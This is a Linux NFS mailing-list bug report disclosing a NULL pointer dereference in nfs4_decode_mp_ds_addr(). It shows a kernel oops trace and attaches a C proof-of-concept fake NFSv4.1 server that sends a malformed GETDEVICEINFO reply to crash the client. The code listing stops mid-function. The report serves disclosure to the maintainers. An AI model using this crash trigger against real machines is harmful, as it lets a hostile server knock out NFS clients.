* potential NULL dereference in nfs4_decode_mp_ds_addr()
@ 2025-09-05 20:11 rtm
0 siblings, 0 replies; only message in thread
From: rtm @ 2025-09-05 20:11 UTC (permalink / raw)
To: Trond Myklebust, Anna Schumaker; +Cc: linux-nfs
[-- Attachment #1: Type: text/plain, Size: 2366 bytes --]
In fs/nfs/pnfs_nfs.c, nfs4_decode_mp_ds_addr() says:
rlen = xdr_stream_decode_string_dup(xdr, &buf, INET6_ADDRSTRLEN +
IPV6_SCOPE_ID_LEN + 8, gfp_flags);
if (unlikely(rlen < 0))
goto out_free_netid;
/* replace port '.' with '-' */
portstr = strrchr(buf, '.');
If the string in the server's XDR message has zero length, then
xdr_stream_decode_string_dup() will set buf to NULL and return zero.
So strrchr() will be called on a NULL buf.
I've attached a demo that mounts a fake server that generates a bad
response to a GETDEVICEINFO RPC:
# uname -a
Linux ubuntu66 6.17.0-rc4-00231-gc8ed9b5c02a5 #27 SMP PREEMPT_DYNAMIC Fri Sep 5 15:07:50 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
# cc nfs138a.c
# ./a.out
...
[ 21.187101] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 21.188210] #PF: supervisor read access in kernel mode
[ 21.189040] #PF: error_code(0x0000) - not-present page
[ 21.189852] PGD 0 P4D 0
[ 21.190284] Oops: Oops: 0000 [#1] SMP PTI
[ 21.190932] CPU: 5 UID: 0 PID: 1456 Comm: a.out Not tainted 6.17.0-rc4-00231-gc8ed9b5c02a5 #27 PREEMPT(voluntary)
[ 21.192512] Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
[ 21.193224] RIP: 0010:strrchr+0x6/0x20
[ 21.197694] Call Trace:
[ 21.197838] <TASK>
[ 21.197963] nfs4_decode_mp_ds_addr+0x90/0x2a0
[ 21.198209] nfs4_fl_alloc_deviceid_node+0x24d/0x470
[ 21.198484] nfs4_find_get_deviceid+0x29a/0x3f0
[ 21.198734] fl_pnfs_update_layout.constprop.0+0x70/0x160
[ 21.199025] filelayout_pg_init_read+0x73/0xc0
[ 21.199268] __nfs_pageio_add_request+0x18b/0x490
[ 21.199530] ? kmem_cache_alloc_noprof+0x239/0x2f0
[ 21.199799] ? nfs_page_create+0x79/0x140
[ 21.200021] nfs_pageio_add_request+0x22d/0x300
[ 21.200269] ? nfs_put_lock_context+0x24/0x80
[ 21.200516] nfs_read_add_folio+0x13a/0x1e0
[ 21.200744] nfs_readahead+0x136/0x2a0
[ 21.200955] read_pages+0x85/0x1f0
[ 21.201146] ? filemap_add_folio+0x55/0xa0
[ 21.201374] page_cache_ra_unbounded+0x120/0x1b0
[ 21.201628] filemap_get_pages+0x120/0x6a0
[ 21.201856] filemap_read+0xf6/0x3e0
[ 21.202054] nfs_file_read+0x80/0xa0
[ 21.202253] vfs_read+0x250/0x370
[ 21.202447] ksys_read+0x68/0xe0
[ 21.202633] do_syscall_64+0xa4/0x260
Robert Morris, rtm@mit.edu
[-- Attachment #2: nfs138a.c --]
[-- Type: application/octet-stream, Size: 38655 bytes --]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/vfs.h>
#include <dirent.h>
#include <assert.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/xattr.h>
unsigned long aa[] = {
0x0ull,
0x300000058000000ull,
0x0ull,
0x0ull,
0x70637400000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai;
int sym_op = 47;
int sym_skip = 0;
int sym_type = 0; // all fattr4 file types
int sym_fh = 0; // all file handles
int sym_bitmaps = 0;
int sym_opaque_len = 0;
int opcounts[256];
long long next_cookie = 3;
int current_fh = 0;
int compound_status;
int send_back;
// map file/dir names to file handle
char *fhnames[100] = {
"",
"tmp",
"x",
"y",
"z",
"zzz",
0
};
int
name2fh(char *name, int create)
{
for(int i = 0; fhnames[i]; i++){
if(strcmp(name, fhnames[i]) == 0)
return i;
}
if(create){
for(int i = 0; ; i++){
if(fhnames[i] == 0){
fhnames[i] = malloc(100);
strcpy(fhnames[i], name);
return i;
}
}
}
return -1;
}
static inline unsigned long real_symx() {
return aa[aai++];
}
static int started = 0;
static unsigned long symx() {
#define NSYM 128
static unsigned long sa[NSYM];
static int sai = 0;
if(started == 0){
started = 1;
usleep(200000);
for(int i = 0; i < NSYM; i++){
sa[i] = real_symx();
}
}
if(sai >= NSYM){
printf("!!! ran out of SYM\n");
return 0;
}
return sa[sai++];
}
char ibuf[16*1024];
int ilen = 0;
int ii = 0;
char obuf[16*1024];
int oi = 0;
int symstart = -1;
extern ssize_t copy_file_range(int, off_t*, int, off_t*, size_t, unsigned int);
int readn(int fd, void *xbuf, int n) {
char *buf = (char *) xbuf;
int orig = n;
while(n > 0){
int cc = read(fd, buf, n);
if(cc <= 0) { perror("read"); return -1; }
n -= cc;
buf += cc;
}
return orig;
}
unsigned int
parse32()
{
if(ii >= ilen){
printf("parsed beyond the end of the input\n");
return 0xffffffff;
}
unsigned int x = *(int*)(ibuf+ii);
ii += 4;
return ntohl(x);
}
unsigned long long
parse64()
{
unsigned long long hi = parse32();
unsigned long long lo = parse32();
return (hi << 32) | lo;
}
// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
for(int i = 0; i < 16; i++){
if(sid)
sid[i] = ibuf[ii];
ii++;
}
}
unsigned int
parse_opaque(char *buf)
{
if(buf)
buf[0] = 0;
int nominal_n = parse32();
if(nominal_n > 4096){
printf("crazy opaque length %d\n", nominal_n);
return 0;
}
int real_n = nominal_n;
while((real_n%4) != 0) real_n += 1;
for(int i = 0; i < real_n; i++){
if(buf && i < real_n)
buf[i] = ibuf[ii];
ii++;
}
return nominal_n;
}
void
put32(unsigned int x)
{
assert((oi % 4) == 0);
*(int*)(obuf+oi) = htonl(x);
oi += 4;
}
void
put64(unsigned long long x)
{
put32(x >> 32);
put32(x);
}
void
put_opaque(int n, char *buf)
{
int nn = n;
if(sym_opaque_len)
nn ^= symx();
put32(nn);
for(int i = 0; i < n; i++)
obuf[oi++] = (buf ? buf[i] : 0);
while(n & 3){
obuf[oi++] = 0;
n++;
}
}
void
put_sid(char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
void
parse_nop()
{
}
void
parse_op_exchange_id()
{
parse32(); // verifier4, first half
parse32(); // verifier4, second half
parse_opaque(0); // eia_clientowner
int cflags = parse32(); // eia_flags
printf("cflags 0x%x\n", cflags);
parse32(); // state_protect4_a.spa_how, assume SP4_NONE
int nimpl = parse32(); // length of client_impl_id
for(int impli = 0; impli < nimpl; impli++){
char junk[512];
parse_opaque(junk); // nii_domain
// printf("nii_domain: %s\n", junk);
parse_opaque(junk); // nii_name
// printf("nii_name: %s\n", junk);
parse64(); // 1/2 of nfstime4
parse32(); // 1/2 of nfstime4
}
// finish EXCHANGE_ID4res
put32(0); // eir_status = NFS4_OK
put64(1); // clientid4
put32(1); // sequenceid4
//int sflags = 0x103 | 0x10000; // EXCHGID4_FLAG_USE_NON_PNFS
int sflags = 0x103 | 0x20000 | 0x40000 | 0x80000000; // try to enable pNFS
put32(sflags); // eir_flags
put32(0); // state_protect4_r.spr_how = SP4_NONE
put64(1); // server_owner4.so_minor_id
put32(4); // length of so_major_id<>
put32(0x11223344); // so_major_id<>
put32(4); // length of eir_server_scope
put32(0x11223344);
put32(1); // length of eir_server_impl_id<1>
put32(4); // nfs_impl_id4.nii_domain
put32(0x11223344);
put32(4); // nfs_impl_id4.nii_name
put32(0x11223344);
put64(0); // nii_date 1/2
put32(0); // nii_date 2/2
}
void
parse_op_create_session()
{
parse64(); // csa_clientid
int seq = parse32(); // csa_sequence
parse32(); // csa_flags
// csa_fore_chan_attrs, csa_back_chan_attrs
int attrs[2][6];
for(int i = 0; i < 2; i++){
for(int j = 0; j < 6; j++){
attrs[i][j] = parse32();
}
parse_opaque(0); // ca_rdma_ird<1>
}
// XXX
ii = ilen;
put32(0); // OK
for(int i = 0; i < 4; i++)
put32(1); // csr_sessionid i/4
put32(seq); // csr_sequence
put32(0x3); // csr_flags
for(int i = 0; i < 2; i++){
for(int j = 0; j < 6; j++)
put32(attrs[i][j]);
put32(0); // ca_rdma_ird
}
}
void
parse_op_setclientid()
{
parse32(); // verifier4
parse32(); // verifier4
parse_opaque(0); // id<>
parse32(); // cb_client4.cb_program
parse_opaque(0); // clientaddr4 r_netid
parse_opaque(0); // clientaddr4 r_addr
parse32(); // callback_ident
put32(0); // OK
put64(1); // clientid4
put64(1); // verifier4
}
void
parse_op_setclientid_confirm()
{
parse32(); // clientid4
parse32();
parse32(); // verifier4
parse32();
put32(0); // OK
}
void
parse_op_sequence()
{
char sid[16];
parse_sid(sid); // sa_sessionid
int seq = parse32(); // sa_sequenceid
int slot = parse32(); // sa_slotid
int hislot = parse32(); // sa_highest_slotid
parse32(); // sa_cachethis
put32(0); // OK
put_sid(sid); // sr_sessionid
put32(seq); // sr_sequenceid
put32(slot); // sr_slotid
put32(hislot); // sr_highest_slotid
put32(hislot); // sr_target_highest_slotid
put32(0); // sr_status_flags
}
void
parse_op_reclaim_complete()
{
parse32(); // rca_one_fs
put32(0); // rcr_status
}
void
parse_op_putrootfh()
{
// no arguments
put32(0); // OK
current_fh = 0;
}
void
parse_op_secinfo_no_name()
{
parse32(); // secinfo_style4
put32(0); // OK
put32(1); // # of secinfo4
#if 1
put32(0); // flavor = AUTH_NULL
#else
put32(6); // flavor = RPCSEC_GSS
put32(4); // size of sec_oid4
put32(0xffffffff);
put32(0); // qop4
put32(1); // rpc_gss_svc_t
#endif
}
void
parse_op_destroy_session()
{
parse_sid(0);
put32(0); // OK
}
void
parse_op_destroy_clientid()
{
parse64(); // clientid
put32(0); // OK
}
void
parse_op_getfh()
{
// no arguments
put32(0); // OK
int xfh = current_fh;
if(sym_fh) xfh ^= symx();
put_opaque(4, (char*)&xfh); // fh
}
//
// called by getattr and readdir.
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int xwords[], int fh)
{
int words[3];
for(int i = 0; i < 3; i++){
words[i] = xwords[i];
if(sym_bitmaps){
words[i] ^= symx();
}
}
int bitwords = 3;
put32(bitwords);
int word0i = oi;
for(int i = 0; i < bitwords; i++)
put32(words[i]);
int leni = oi;
put32(0); // placeholder for total length of attrs
for(int a = 0; a < bitwords*32; a++){
if(words[a/32] & (1 << (a % 32))){
if(a == 0){
put32(3); // # bitmap words of supported attrs
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
} else if(a == 1){
int type = 1;
if(fh == 0 || fh == 1)
type = 2;
if(sym_type) type ^= symx();
put32(type); // NF4DIR=2 or NF4REG=1
} else if(a == 2){
put32(0); // fh_expire_type
} else if(a == 3){
put64(0); // change
} else if(a == 4){
put64(4096*10); // size
} else if(a == 5){
put32(1); // link support
} else if(a == 6){
put32(1); // symlink support
} else if(a == 8){
put64(1); // fsid major
put64(1); // fsid minor
} else if(a == 10){
put32(10); // lease time
} else if(a == 11){
put32(0); // rdattr_error
} else if(a == 12){
// ACL
printf("replying with an ACL\n");
int n = 2;
put32(n);
for(int i = 0; i < n; i++){
put32(0); // type
put32(0); // flag
put32(0); // mask
char who[32];
memset(who, 0, sizeof(who));
strcpy(who, "bin@x.com");
put_opaque(strlen(who), who);
}
} else if(a == 13){
put32(0xf); // aclsupport
} else if(a == 15){
put32(1); // cansettime
} else if(a == 16){
put32(0); // case insensitive
} else if(a == 17){
put32(1); // case preserving
} else if(a == 18){
put32(0); // chown_restricted
} else if(a == 19){
// filehandle
int xfh = fh;
if(sym_fh) xfh ^= symx();
put_opaque(4, (char*)&xfh); // fh
} else if(a == 20){
put64(fh); // fileid
} else if(a == 21){
put64(9999); // files_avail
} else if(a == 22){
put64(9999); // files_free
} else if(a == 23){
put64(99999); // files_total
} else if(a == 24){
// fs_locations
put32(1); // # path components
put_opaque(1, "r"); // pathname4
put32(1); // locations<>
put32(1); // servers<>
put_opaque(1, "s"); // server
put32(1); // # path components
put_opaque(1, "x"); // rootpath
} else if(a == 26){
put32(1); // homogeneous
} else if(a == 27){
put64(0xffffffffffff); // max file size
} else if(a == 28){
put32(0xffff); // max link
} else if(a == 29){
put32(256); // max name
} else if(a == 30){
put64(10*4096); // max read
} else if(a == 31){
put64(10*4096); // max write
} else if(a == 33){
put32(0777); // mode
} else if(a == 34){
put32(1); // no_trunc
} else if(a == 35){
put32(3); // numlinks
} else if(a == 36){
printf("replying with an owner\n");
// put_opaque(6, "other"); // owner
put_opaque(9, "bin@x.com"); // owner
// put_opaque(5, "65534"); // owner
} else if(a == 37){
// put_opaque(6, "other"); // owner_group
put_opaque(9, "bin@x.com"); // owner_group
// put_opaque(5, "65534"); // owner_group
} else if(a == 41){
put32(0); // rawdev major
put32(0); // rawdev minor
} else if(a == 42){
put64(10*1024*1024); // space_avail
} else if(a == 43){
put64(10*1024*1024); // space_free
} else if(a == 44){
put64(20*1024*1024); // space_total
} else if(a == 45){
put64(4096*10); // space used
} else if(a == 47){
put64(0); // time access seconds
put32(0); // nseconds
} else if(a == 50){
put64(0); // time create seconds
put32(0); // nseconds
} else if(a == 51){
put64(0); // time delta seconds
put32(0); // nseconds
} else if(a == 52){
put64(0); // time metadata seconds
put32(0); // nseconds
} else if(a == 53){
put64(0); // time modify seconds
put32(0); // nseconds
} else if(a == 55){
put64(0); // mounted_on_fileid ???
} else if(a == 62){
// fs_layout_types
put32(1);
// put32(3); // LAYOUT4_BLOCK_VOLUME
// put32(2); // LAYOUT4_OSD2_OBJECTS
put32(1); // LAYOUT4_NFSV4_1_FILES
} else if(a == 65){
// LAYOUT_BLKSIZE
put32(1024);
} else if(a == 77){
// CLONE_BLKSIZE
put32(1024);
} else if(a == 79){
// CHANGE_ATTR_TYPE
put32(4); // ???
} else if(a == 82){
// XATTR_SUPPORT
put32(1);
} else if(a == 75){
// FATTR4_SUPPATTR_EXCLCREAT
put32(3); // bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
} else if(a == 86){
// FATTR4_OPEN_ARGUMENTS
for(int i = 0; i < 5; i++){
put32(1); // bitmap length
put32(0xffffffff);
}
} else if(a == 80){
// FATTR4_SEC_LABEL, FATTR4_WORD2_SECURITY_LABEL
put32(0); // lfs
put32(0); // pi
put32(4); // label->len
put32(0); // ???
} else if(a == 68){
// FATTR4_MDSTHRESHOLD
put32(1); // num
put32(0); // l_type
put32(3); // bitmap size
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put32(32); // attr_length
put32(0); // threshold_hint
put32(0);
put32(0); // threshold_hint
put32(0);
put32(0); // threshold_hint
put32(0);
put32(0); // threshold_hint
put32(0);
} else {
if(sym_bitmaps){
words[a/32] &= ~(1 << (a % 32));
*(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
} else {
printf("unknown requested attr %d\n", a);
put64(0); // XXX
}
}
}
}
#if 0
for(int i = 0; i < 16; i++)
put32(0xffffffff);
#endif
*(int*)(obuf+leni) = htonl(oi - leni - 4);
}
void
parse_op_getattr()
{
int bitwords = parse32();
int words[4];
memset(words, 0, sizeof(words));
if(bitwords < 1 || bitwords > 3)
printf("parse_op_getattr: crazy bitwords %d\n", bitwords);
for(int i = 0; i < bitwords && i < 4; i++)
words[i] = parse32();
put32(0); // OK
put_fattr4(words, current_fh);
}
void
parse_op_putfh()
{
char buf[64];
int n = parse_opaque(buf); // fh
if(n != 4){
printf("op_putfh fh size %d, not 4\n", n);
exit(1);
}
int fh = *(int*)buf;
current_fh = fh;
put32(0); // OK
}
void
parse_op_access()
{
int mask = parse32(); // mask of rights to query
put32(0); // OK
put32(mask); // supported = all rights
put32(mask); // access = all rights
}
void
parse_op_lookup()
{
char name[256];
int n = parse_opaque(name);
name[n>=0?n:0] = '\0';
int xfh = name2fh(name, 0);
if(xfh < 0){
printf("lookup %s -> ENOENT\n", name);
put32(2); // NFS4ERR_NOENT
if(compound_status == 0)
compound_status = 2;
} else {
put32(0); // OK
current_fh = xfh;
printf("lookup %s -> fh %d\n", name, current_fh);
}
}
void
parse_op_lookupp()
{
current_fh = 1; // /tmp
put32(0); // OK
}
void
parse_op_readdir()
{
long long cookie = parse64();
long long verf = parse64(); // cookie verifier
parse32(); // dircount
parse32(); // maxcount
// attr_request
int bitwords = parse32();
int words[4];
memset(words, 0, sizeof(words));
for(int i = 0; i < bitwords && i < 4; i++)
words[i] = parse32();
put32(0); // OK
put64(verf); // cookieverf
char *names[] = { "z", "zzz" };
for(int i = 0; i < 2; i++){
put32(1); // *nextentry
put64(next_cookie++); // cookie
put_opaque(3, names[i]); // name
put_fattr4(words, name2fh(names[i], 1));
}
put32(0); // *nextentry
put32(1); // eof
}
void
parse_op_open()
{
char name[256];
name[0] = 0;
parse32(); // seqid
parse32(); // share_access
parse32(); // share_deny
parse64(); // owner client id
parse_opaque(0); // owner owner
// openflag4
int opentype = parse32();
if(opentype == 1){
// OPEN4_CREATE
int mode = parse32(); // createhow4
if(mode == 0){
// UNCHECKED4
// fattr4 createattrs
int bitwords = parse32();
int words[32];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
} else {
printf("OPEN4_CREATE unknown mode %d\n", mode);
exit(1);
}
} else if(opentype == 0){
// OPEN4_NOCREATE
} else {
printf("unknown opentype %d\n", opentype);
exit(1);
}
int open_claim_type = parse32();
if(open_claim_type == 0){
// CLAIM_NULL
parse_opaque(name); // file name
} else if(open_claim_type == 2){
// CLAIM_DELEGATE_CUR
// open_claim_delegate_cur4
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse_opaque(name); // file name
} else if(open_claim_type == 4){
// CLAIM_FH
} else {
printf("oy, open_claim_type %d\n", open_claim_type);
exit(1);
}
int xfh = name2fh(name, opentype);
if(xfh < 0){
printf("open(%s) ENOENT\n", name);
put32(2); // NFS4ERR_NOENT
} else {
put32(0); // OK
// stateid4
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
// change_info4
put32(1);
put64(0); // before
put64(0); // after
put32(0); // rflags
put32(0); // attrset bitmap length
// open_delegation4
put32(0); // OPEN_DELEGATE_NONE
printf(" name=%s\n", name);
if(name[0]){
current_fh = xfh;
} else {
printf("op_open: no name with which to set fh\n");
}
}
}
void
parse_op_setattr()
{
// stateid4
parse32(); // seqid
parse32(); // other
parse32(); // other
parse32(); // other
// fattr4
int bitwords = parse32();
int words[64];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
put32(0); // OK
put32(bitwords);
for(int i = 0; i < bitwords; i++)
put32(words[i]);
}
void
parse_op_layoutget()
{
parse32(); // loga_signal_layout_avail
parse32(); // layouttype4
parse32(); // layoutiomode4
parse64(); // offset
parse64(); // length
parse64(); // minlength
parse32(); // stateid4 seqid
parse32(); // stateid4 other
parse32(); // stateid4 other
parse32(); // stateid4 other
parse32(); // count32
put32(0); // OK
put32(0); // return_on_close
put32(0); // stateid4 seqid
put32(0); // stateid4 other
put32(0); // stateid4 other
put32(0); // stateid4 other
put32(1); // # of layout4
#if 0
// block thing, fs/nfs/blocklayout/blocklayout.c
put64(0); // offset
put64(1000000); // length
put32(2); // layoutiomode4
put32(3); // layouttype4
// https://datatracker.ietf.org/doc/html/rfc5663
put32(4+44+44); // size of the following "opaque"
// for bl_alloc_lseg()
put32(2); // count of following extents
for(int i = 0; i < 2; i++){
// 16 bytes of devicedid4 bex_vol_id
for(int i = 0; i < 4; i++)
put32(1);
put64(0); // bex_file_offset
put64(0); // bex_length
put64(0); // bex_storage_offset
put32(0); // bex_state
}
#endif
#if 0
put64(0); // offset
put64(1000000); // length
put32(2); // layoutiomode4
put32(2); // layouttype4
put_opaque(8, "xxxxxxxx"); // loc_body
#endif
put64(0); // offset
put64(1000000); // length
put32(2); // layoutiomode4
put32(1); // layouttype4 LAYOUT4_NFSV4_1_FILES
put32(16 + 20); // total size of following, for filelayout_decode_layout
put64(0); // device id
put64(0); // device id
put32(0x100); // nfl_util
put32(0); // first_stripe_index
put64(0); // pattern_offset
put32(0); // num_fh
}
void
parse_op_getdeviceinfo()
{
parse32(); // deviceid4
parse32();
parse32();
parse32();
parse32(); // layouttype4
parse32(); // count4
int nb = parse32(); // # bitmapwords
for(int i = 0; i < nb; i++)
parse32(); // bitmap4
put32(0); // OK
// device_addr4 gdir_device_addr
put32(1); // layouttype4
// da_addr_body, for nfs4_fl_alloc_deviceid_node
put32(22*4);
put32(2); // stripe count
put32(0); // index
put32(1); // index
put32(2); // ds_num
for(int i = 0; i < 2; i++){
put32(1); // mp_count
put_opaque(3, "tcp"); // netid
put_opaque(11, "0.0.0.0.2049.2049");
}
put32(1); // bitmap4<>
put32(0xffffffff); // bitmap4
}
void
parse_op_write()
{
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse64(); // offset
parse32(); // stable_how4
int n = parse_opaque(0); // data
put32(0); // OK
put32(n); // count
put32(0); // UNSTABLE4
put64(1); // verifier
}
void
parse_op_read()
{
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse64(); // offset
parse32(); // count
put32(0); // OK
put32(1); // eof
put_opaque(4, "abcd");
}
void
parse_op_read_plus()
{
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse32(); // stateid4
parse64(); // offset
parse32(); // count
put32(0); // OK
put32(1); // eof
put32(2); // # of read_plus_content
put32(0); // NFS4_CONTENT_DATA
put64(0); // offset
put_opaque(4, "abcd");
put32(1); // NFS4_CONTENT_HOLE
put64(0); // offset
put64(1); // length
}
void
parse_op_commit()
{
parse64(); // offset
parse32(); // count
put32(0); // OK
put64(1); // verifier4
}
void
parse_op_close()
{
parse32(); // seqid
parse32(); // stateid4.seqid
parse32(); // stateid4.other
parse32(); // stateid4.other
parse32(); // stateid4.other
put32(0); // OK
put32(2); // seqid
put32(1); // other
put32(1);
put32(1);
}
void
parse_op_create()
{
int type = parse32(); // type
char name[128];
memset(name, 0, sizeof(name));
int namelen = parse_opaque(name);
// fattr4
int bitwords = parse32();
int words[64];
for(int i = 0; i < bitwords; i++)
words[i] = parse32();
parse_opaque(0); // attrlist4
printf("create type=%d name=%s\n", type, name);
current_fh = name2fh(name, 1);
put32(0); // OK
put32(1); // change_info4.atomic
put64(1); // before
put64(2); // after
put32(bitwords);
for(int i = 0; i < bitwords; i++)
put32(words[i]);
}
void
parse_op_remove()
{
char name[256];
memset(name, 0, sizeof(name));
int namelen = parse_opaque(name);
put32(0); // OK
put32(1); // change_info4.atomic
put64(1); // before
put64(2); // after
}
int saved_fh;
void
parse_op_savefh()
{
saved_fh = current_fh;
put32(0); // OK
}
void
parse_op_restorefh()
{
current_fh = saved_fh;
put32(0); // OK
}
void
parse_op_rename()
{
char name1[256], name2[256];
memset(name1, 0, sizeof(name1));
memset(name2, 0, sizeof(name2));
parse_opaque(name1);
parse_opaque(name2);
printf("rename %s %s\n", name1, name2);
put32(0); // OK
// change_info4
put32(1);
put64(1); // before
put64(2); // after
// change_info4
put32(1);
put64(3); // before
put64(4); // after
}
void
parse_op_seek()
{
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
long offset = parse64(); // offset
int what = parse32();
printf("seek offset=%ld what=%d\n", offset, what);
put32(0); // OK
if(what == 0){
// next data?
if(offset >= 32){
put32(1);
put64(offset);
} else {
put32(0);
put64(offset + 1);
}
} else {
// next hole?
if(offset >= 32){
put32(1);
put64(offset);
} else {
put32(0);
put64(32);
}
}
}
void
parse_op_copy()
{
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse64(); // offset
parse64(); // offset
long long count = parse64(); // count
parse32(); // consecutive
parse32(); // synchronous
int nloc = parse32();
for(int i = 0; i < nloc; i++){
int type = parse32();
if(type == 1 || type == 2){
parse_opaque(0); // name of url
} else {
parse_opaque(0); // network id
parse_opaque(0); // universal address
}
}
put32(0); // OK
// stateid4 callback_id<1>
if(1){
put32(0); // n
} else {
put32(1); // n
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
}
put64(count); // count
put32(0); // stable_how UNSTABLE
put64(0); // verifier
put32(1); // consecutive
put32(1); // synchronous
}
void
parse_op_lock()
{
parse32(); // lock type
parse32(); // reclaim
parse64(); // offset
parse64(); // length
int owner = parse32(); // lock4 new_lock_owner
if(owner){
parse32(); // open_seqid
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse32(); // lock_seqid
parse64(); // clientid
parse_opaque(0); // owner
} else {
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse32(); // seqid
}
put32(0); // OK
// stateid4
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
send_back = 1;
}
void
parse_op_locku()
{
parse32(); // lock type
parse32(); // seqid
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
parse64(); // offset
parse64(); // length
put32(0); // OK
// stateid4
put32(1); // seqid
put32(1); // other
put32(1);
put32(1);
}
void
parse_op_free_stateid()
{
// stateid4
parse32(); // seqid
parse32();
parse32();
parse32();
put32(0); // OK
}
void
parse_compound()
{
char tag[512];
int taglen = parse_opaque(tag); // tag
int cmin = parse32(); // client minor version
if(cmin != 2){
printf("hmm, client minor %d\n", cmin);
}
int nops = parse32();
// start a COMPOUND4res
int status_oi = oi;
compound_status = 0;
put32(compound_status); // place-holder
put_opaque(taglen, tag);
put32(nops); // length of resarray<>
int opindex = 0;
for(opindex = 0; opindex < nops && ii < ilen; opindex++){
int op = parse32();
printf("op %d #%d\n", op, opcounts[op&0xff]);
put32(op); // resop in nfs_resop4
if(sym_op == op){
if(sym_skip <= 0){
symstart = oi;
}
sym_skip -= 1;
}
if(op == 42){
parse_op_exchange_id();
} else if(op == 35){
parse_op_setclientid();
} else if(op == 36){
parse_op_setclientid_confirm();
} else if(op == 43){
parse_op_create_session();
} else if(op == 53){
parse_op_sequence();
} else if(op == 58){
parse_op_reclaim_complete();
} else if(op == 24){
parse_op_putrootfh();
} else if(op == 52){
parse_op_secinfo_no_name();
} else if(op == 44){
parse_op_destroy_session();
} else if(op == 57){
parse_op_destroy_clientid();
} else if(op == 10){
parse_op_getfh();
} else if(op == 9){
parse_op_getattr();
} else if(op == 22){
parse_op_putfh();
} else if(op == 3){
parse_op_access();
} else if(op == 15){
parse_op_lookup();
} else if(op == 16){
parse_op_lookupp();
} else if(op == 26){
parse_op_readdir();
} else if(op == 18){
parse_op_open();
} else if(op == 45){
parse_op_free_stateid();
} else if(op == 12){
parse_op_lock();
} else if(op == 14){
parse_op_locku();
} else if(op == 6){
parse_op_create();
} else if(op == 28){
parse_op_remove();
} else if(op == 4){
parse_op_close();
} else if(op == 34){
parse_op_setattr();
} else if(op == 50){
parse_op_layoutget();
} else if(op == 47){
parse_op_getdeviceinfo();
} else if(op == 38){
parse_op_write();
} else if(op == 25){
parse_op_read();
} else if(op == 68){
parse_op_read_plus();
} else if(op == 5){
parse_op_commit();
} else if(op == 32){
parse_op_savefh();
} else if(op == 31){
parse_op_restorefh();
} else if(op == 29){
parse_op_rename();
} else if(op == 69){
parse_op_seek();
} else if(op == 60){
parse_op_copy();
} else {
printf("unknown op %d\n", op);
// cannot continue to the next op since
// we don't know how long this one is.
break;
}
opcounts[op&0xff] += 1;
}
*(int*)(obuf+status_oi) = htonl(compound_status);
if(opindex != nops)
printf("compound with %d nops but only enough bytes for %d\n", nops, opindex);
if(ii != ilen)
printf("compound consumed only %d of %d bytes\n", ii, ilen);
}
void
parse_rpc()
{
// SUN RPC
int xid = parse32();
int mtype = parse32(); // mtype, 0=CALL, 1=REPLY
if(mtype == 1){
// rpc reply
int stat0 = parse32(); // MSG_ACCEPTED
int flavor = parse32();
parse_opaque(0); // verf
int stat1 = parse32(); // status
int stat2 = parse32(); // status
